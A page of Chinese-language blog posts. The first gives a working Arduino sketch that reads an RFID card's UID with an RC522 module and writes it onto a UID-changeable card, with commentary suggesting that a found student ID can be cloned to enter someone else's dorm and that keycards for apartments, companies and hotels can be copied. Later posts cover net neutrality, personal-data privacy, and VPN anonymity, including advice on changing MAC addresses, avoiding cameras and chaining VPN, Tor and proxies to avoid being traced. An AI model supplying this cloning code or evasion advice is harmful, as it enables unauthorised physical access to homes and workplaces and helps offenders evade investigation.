#include <MFRC522Hack.h>

constexpr uint8_t RST_PIN = 8;
constexpr uint8_t SS_PIN = 9;

MFRC522 mfrc522(SS_PIN, RST_PIN);
MFRC522Hack mfrc522Hack(&mfrc522);

byte newUid[] = {0xDE, 0xAD, 0xBE, 0xEF}; //預設UID
bool write_enable = false;
int wait_sec = 0;

MFRC522::MIFARE_Key key;

void setup() {
  Serial.begin(9600);
  while (!Serial);
  SPI.begin();
  mfrc522.PCD_Init();
  Serial.println(F("Warning: this example overwrites the UID of your UID changeable card, use with care!"));
  
  for (byte i = 0; i < 6; i++) {
    key.keyByte[i] = 0xFF;
  }
}

void loop() {

  if(wait_sec>=0 && write_enable){
    wait_sec=wait_sec-1;
    delay(1000);
    if(wait_sec<2){
      tone(5, 466, 125);
    }
    if(wait_sec<=0){
      write_enable=false;
    }
  }
  
  // Look for new cards, and select one if present
  if ( ! mfrc522.PICC_IsNewCardPresent() || ! mfrc522.PICC_ReadCardSerial() ) {
    delay(50);
    return;
  }

  if(!write_enable){
    byte *id = mfrc522.uid.uidByte;
    byte idSize = mfrc522.uid.size;
    Serial.print("UID Size: ");
    Serial.println(idSize);
    if(idSize!=4){
      Serial.println(F("New UID is not 4 byte!"));
      return;
    }
    Serial.println(F("New UID set!"));
 
    for (byte i = 0; i < idSize; i++) {
      Serial.print("id[");
      Serial.print(i);
      Serial.print("]: ");
      newUid[i]=id[i];
      Serial.println(id[i], HEX);
    }
    Serial.println();
    mfrc522.PICC_HaltA();
    write_enable=true;
    wait_sec=10;
    tone(5, 740, 500);
    delay(50);
    return;
  }
  
  // Dump UID
  Serial.print(F("Card UID:"));
  for (byte i = 0; i < mfrc522.uid.size; i++) {
    Serial.print(mfrc522.uid.uidByte[i] < 0x10 ? " 0" : " ");
    Serial.print(mfrc522.uid.uidByte[i], HEX);
  } 
  Serial.println();
  
  // Set new UID
  if ( mfrc522Hack.MIFARE_SetUid(newUid, (byte)4, true) ) {
    Serial.println(F("Wrote new UID to card."));
  }
  
  // Halt PICC and re-select it so DumpToSerial doesn't get confused
  mfrc522.PICC_HaltA();
  if ( ! mfrc522.PICC_IsNewCardPresent() || ! mfrc522.PICC_ReadCardSerial() ) {
    return;
  }
  
  // Dump the new memory contents
  Serial.println(F("New UID and contents:"));
  mfrc522.PICC_DumpToSerial(&(mfrc522.uid));
  tone(5, 740, 250);
  delay(500);
  tone(5, 740, 250);
  write_enable = false;
  delay(2000);
}

以上程式碼之功能是將要被複製的卡貼近 RC522模組,然後再將要被寫入UID的卡貼近,寫入動作結束時會B兩聲,此刻再去檢查Output的值看看有沒有寫入成功。我目前的設定是第二張卡超過10秒就不寫入了,不是無限等待,要再把第一張靠近,在10秒內放入第二張卡。

學會這個小伎倆,往後只要撿到別人的學生證就有機會可以複製對方卡的資訊,之後就可以直接進入別人的宿舍。或者是有設門禁卡的公寓、公司、飯店…等場所,就可以多備份幾把鑰匙卡。紀錄UID也未必要使用模組,有NFC功能的手機就可以讀取資訊,甚至是寫入卡片資料或模擬 UID。

再次提醒,目前複製卡的成果僅次於 UID 的讀寫,如果門禁系統採用非 UID 認證,而是使用 KeyA 或 KeyB 及 控制位元,那就可能必須破解其卡片密鑰才可以存取特定資料,否則就無法輕易的複製卡片資料。

以上是寫入卡片成功的示意圖片。

五張特製可修改 UID 的 S50 卡都被修改為相同的 UID。

這裡文章就差不多到結尾了,我想先說明幾件需要注意的事。

首先,空白卡不是所有卡片都可以修改 S0B0 (Sector 0 Block 0) 區塊的製造商資訊(這裡也是 卡號UID 的所在之處),有很多卡片都是直接燒死的,要嘛是 WriteOnce,要嘛就直接不給寫。要購買卡片時要先注意那張卡片到底可不可以修改,一般正常S50標準卡都是不可寫的,UID不給修改。

其次就是頻率一定要對得到。卡片也有頻率的,隨便亂買門禁空白卡,可能會買到 125KHz 的低頻卡,那就不合目前的模組的頻率,也比較少見。目前悠遊卡、一卡通普遍都是採用 13.56 MHz 的卡片。

最後,卡片也是大有學問的,每種卡都有使用說明書 DataSheet,扇區的數量那些都不一定,而且UID不僅僅是4個Byte,也許是7個Byte,甚至是10個。至於前面S0B0區呢,配置也是有一定規章的,這篇文章我就不講那麼詳細了。反正沒有要到完全複製卡的程度,講那麼多卡區的沒什麼意思。

差不多就這樣,日後想到新的再補充。

By Weil Jimmer


This entry was posted in Arduino, C, Experience, General, Privacy By .

行動日(Day of Action) - 網際網路自由

-
更新於

2017年07月12日,有很多大型網站、論壇、網友們都會團結一致的向美國聯邦通訊委員會(FCC)對網路中立性的破壞表達抗議!您也可以透過這個連結一起加入抗議:https://www.battleforthenet.com/july12/

現在,新的FCC主席試圖有計劃性的摧毀網路中立性,並使各種大型電信業者能夠控制我們所看到的各種網站。如果他們順利通過了,FCC將給這些大公司權力來控制我們在網際網路上看到的東西,同時有權降低網站速度或阻擋網站,甚至對特定網站或應用程式收取額外的費用。

如果我們失去了網際網路中立性,我們很快就會面臨一個受控制、受審查、不自由的網路,一些你喜歡的網頁可能會跑得特別慢,一些擁有資金的大公司的瀏覽相同的網頁卻跑得特別快。或是一些網頁被徹底封鎖無法瀏覽。

但在七月十二日,網際網路中,將會誕生出一股力量團結在一起阻止他們。各大網站與網民和網上論壇都將齊心對抗FCC的對網路的攻擊。

Google、Facebook、Twitter、Dropbox、Imgur、Opera、Amazon……等數不清大大小小的網站都已經加入這個行列了。

「網際網路的戰役(The Battle for the Net)」活動即將展開,使您的朋友、家人和追隨者能夠採取很簡單的行動以抵制這項法案通過。

了解更多並加入行動:https://www.battleforthenet.com/july12/

什麼是網際網路中立?

簡言之,就是網路使用不應該因為使用者的階級、身分、各種因素而被有所差別待遇,ISP業者不可以因為一些私人因素或是政府法令而故意限制某些網站的連線速度、或是封鎖、審查某些網站。所有資訊的獲得應該平等對待,不會受到各種不公的濫用,不會使網際網路變成一個滿足私利的一個工具。

如果沒有網路中立,有可能會發生哪些事情?

我覺得最好拿來比喻的一件事就是中國大陸的網際網路封鎖,沒有所謂的網路言論自由,可能有一堆網站根本連不上或變非常慢,有一堆政府審查的機制。想想看,如果有人在背後監視你在網路上的一舉一動那將是什麼樣的感覺?

我認為網際網路本身就應該要是自由開放的,不會因為被企業、政府控制著而抑制了網路的多元性。


This entry was posted in General, Privacy, The Internet By .

個人資料的隱私

-
發布於

近日,心情很不好,我常在想,為什麼周遭的人可以不在乎自己的個資,不在乎這些個資可以怎麼被人利用。

由於某大學的一堂課需要出校外,而學校規定老師一定要幫學生保險,而保險這件事則需要個資,所以呢?學生交給老師身分證字號、電話、聯絡人就夠了吧?我相信老師,而且老師本來就有權限取得這些相關資料,然而!卻是交給學生處理!

這簡直氣死我了,就在課堂上,傳單子,任何人都可以看到那張有全班個資的單子,任何人都有那個機會可以偷偷記錄下來。我在想,既然老師信任那個同學,要他負責,那他也可以採取別的方式,例如Google表單,何必要在班上傳?

更離譜的是,後來還傳到通訊軟體上面!我的天呀,在班上傳的話,可能會因為其他人關注而不敢偷拍,但是網路上,就沒這困擾了,直接檔案存下來,神不知鬼不覺。

更何況,學校的校務系統修改個人選課密碼的方式其一就是填寫個資,剛好這些個資,那張單子上都有,所以,只要有人拍下來,就相當於可以登入校務系統偷看你住在哪裡,偷看你的成績,偷偷亂選課,全部退選之類的。

因此,當天我立刻私訊了網管,要求他設定我的帳號不可以因填寫個資而變動密碼,很快的他也回應了,所以知道我個資,依舊無法修改我的選課密碼。這倒是讓我放心不少。

我告訴我身邊的人,但感覺他們一點都不太在乎。我認為這是非常重要的一件事,所有應該要認真保護自己的人都應該要關注自己的個資才對,這真是讓我對周遭同學失望透底。

記得高中時期,我很愛看一部電視劇《Mr. Robot》,故事中的男主角就是一名駭客,駭了數不清數目的人,翻出他們的社交活動,看看有沒有違法事情,我倒是覺得,主角很像我的寫照。

有點類似:駭客很注重資訊安全,很不想自己被別人駭,駭客被駭豈不是很可笑?

還滿希望身邊的人能夠更注意自己的隱私安全,不論是線上還是現實生活。為了自己好,也為了朋友好。

By Weil Jimmer


This entry was posted in Experience, General, Mood, Privacy By .

VPN 真的安全嗎?

-
更新於

真匿名嗎?

網路上一堆VPN供應商都很愛說 NO Log 不紀錄用戶的數據 ,但客戶又怎麼知道真的沒有紀錄,每個服務商都說保護用戶隱私,然後當警察追查的身分的時候,一下就被服務供應商給賣了。

網路上有不少案例,例如垃圾 HideMyAss ,竟然提交出去給警方,根本就垃圾!會想使用VPN,甚至是付費VPN的人是一定要真匿名與真安全的,然後網路上很少是這麼做的。

經過我自己去調查了一陣子之後,發現,很多部落客發出的文章都說:「那些 VPN 普遍都是騙子,當警察要抓你的時候,VPN供應商就丟出你的用戶資料!」

不是說好了要刪除嗎?不要紀錄嗎?

所以,還是沒辦法只透過一層加密的服務就擺脫所有事情,如果只用 OpenVPN代理一層應該很有機率還是會被追查到。

我是不知道警察有沒有權限可以管到國外的VPN,甚至VPN主機商主動提供資料給警察。

這部分待定。我只知道要通過複雜的代理才可以真正得到 FreeDom 以及 Privacy 。否則現在任何人在網路上做任何事,都非常有機會被抓到,只要有人提告,你基本很難逃離,更何況一般不懂網路的使用者。

通常要躲避被追蹤可以使用Tor洋蔥瀏覽器,或是使用好一點的VPN。雖然Tor的三個節點很可能都是蜜罐被FBI給設陷阱了,所以要先掛一層VPN再用Tor瀏覽器,才會比較安全一點。

「隱私是你的基本權利,不需要擔心他人在背後監視我並懲罰我就因為我當我自己。」

老實說,台灣警察要抓人,光是知道IP是沒辦法的,之前我查的結果是說:必須要先定罪,警察才有權限查IP。否則不可以亂查,更何況國外,應該是不太可能查到的。機會很渺茫。即使如此,我個人還是希望高安全性。絕對匿名!

先在公開的WiFi網路下(記得修改MAC地址,不可以被周圍攝影機拍到自己),註冊安全一點的VPN服務,再開Tor瀏覽器,如果可以的話,再掛一層Web Proxy,這樣基本上就很難追查了。

以上。


This entry was posted in Experience, Mood, Privacy, The Internet By .